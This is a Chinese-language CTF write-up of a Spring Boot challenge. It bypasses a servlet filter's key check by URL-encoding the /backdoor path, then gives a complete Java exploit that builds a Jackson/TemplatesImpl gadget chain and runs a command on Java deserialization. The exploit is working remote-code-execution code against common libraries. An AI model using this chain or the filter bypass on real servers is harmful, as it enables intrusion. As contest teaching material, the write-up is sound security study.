CTF-springboot鉴权绕过

CTF-springboot鉴权绕过

Administrator 273 2024-10-10

CTF-springboot鉴权绕过

省赛中遇到的一道题目

//org.example.babyjava.BabyController.java

package BOOT-INF.classes.org.example.babyjava;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController("/")
public class BabyController {
  @RequestMapping({"/"})
  public String index() {
    return "index";
  }
  
  @RequestMapping({"/backdoor"})
  public Object backdoor(@RequestBody byte[] bytes) {
    try {
      ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
      ObjectInputStream ois = new ObjectInputStream(bis);
      bis.close();
      ois.close();
      return ois.readObject();
    } catch (Exception e) {
      return e;
    } 
  }
}

这里主要是控制层 controller,看到存在俩个路由,一个 /另外一个是 backdoor

backdoor层存在调用 readObject()这是一个反序列化的方法,如果之前学过cc链的话可以知道,cc链的漏洞产生的原因就是重写了 readObject()方法,导致反序列化漏洞产生

因此这道题的反序列化的触发点很明显就是 backdoor路由readObject方法

然后在org.example.babyjava.BabyFilter.java代码中

//org.example.babyjava.BabyFilter.java

package BOOT-INF.classes.org.example.babyjava;

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import org.example.babyjava.Utils;
import org.springframework.stereotype.Component;

@Component
public class BabyFilter implements Filter {
  public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
    HttpServletRequest request = (HttpServletRequest)req;
    String uri = request.getRequestURI();
    if (uri.startsWith("/backdoor")) {
      String key = req.getParameter("key");
      if (key != null && Utils.getSHA256Hash(key).equals("fd9930dfc6a9fa33973f7a7e1be8c5b21e72cb8e146de44f26ea67fc5672df7f")) {
        chain.doFilter((ServletRequest)request, resp);
      } else {
        resp.getWriter().write("The key is invalid.");
      } 
      return;
    } 
    chain.doFilter((ServletRequest)request, resp);
  }
}

看到这里进行了一个鉴权处理,如果路由是 backdoor并且key值进行SHA256加密的后的值为 fd9930dfc6a9fa33973f7a7e1be8c5b21e72cb8e146de44f26ea67fc5672df7f的话会走到 chain.doFilter方法

chain.doFilter方法可以理解为进行了一个放行的操作,首先请求将先会进入到 Filter(过滤器)中,然后请求再到 Controller(控制器)中

因此首先需要绕过上面那个鉴权,如果我们正常传入 /backdoor 路由的话

图片-gauy.png

图片-dexw.png

会直接进入鉴权,需要key值传入并且比较

使用url编码进行绕过对于 /backdoor的过滤。为什么url编码可以进行绕过呢,接着往下看

打断点进行调试

首先,我们传入的路由会进入到这里

图片-ujmf.png

这个的主要作用就是获得url

跟进到 request.getRequestURI() 里,这里就是返回一个字符串,表示请求的 URI 部分,不包括查询参数。

图片-zpsx.png

然后代码将进入到 return this.request.getRequestURI();,然后看到返回的结果为 R( /backdoo%72)并未对%72进行解url编码的一个操作

图片-ohhd.png

接着往下走,可以发现uri的值就是 /backdoo%72,因此这样便可以绕过对于 /backdoor的鉴权,从而直接走到 chain.doFilter((ServletRequest)request, resp);使得filter进行放行,也就是说request.getRequestURI() 来获取请求地址,是编码后的地址,所以会匹配不到。

图片-gchm.png

但是在 controller会直接进入,这里代码我进行了一个修改,由于不知道为什么使用curl post发送1.ser文件内容,会爆序列化后的请求头错误,所以我在原来的基础上修改了代码,使得直接反序列化生成后的文件1.ser

图片-egkq.png

绕过鉴权后,直接打 jackson链就行,exp利用成功

图片-zcon.png

exp:

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;

public class exp_template {

    public static void main(String[] args) throws Exception {

        // 1. 动态移除 BaseJsonNode 的 writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 2. 创建一个 CtClass 并添加构造器
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();  // 生成字节码

        // 3. 使用 TemplatesImpl 封装字节码
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        // 4. 创建 JdkDynamicAopProxy 并包装 TemplatesImpl
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes = new POJONode(proxyObj);

        // 5. 将 POJONode 包装进 BadAttributeValueExpException
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp, jsonNodes);

        // 6. 序列化对象并保存为 1.ser 文件
        try (FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream)) {
            objectOutputStream.writeObject(exp);  // 将对象序列化并写入文件
            System.out.println("对象已序列化并保存为 1.ser");
        }
    }

    // 设置对象的字段值
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

参考文章:https://forum.butian.net/share/829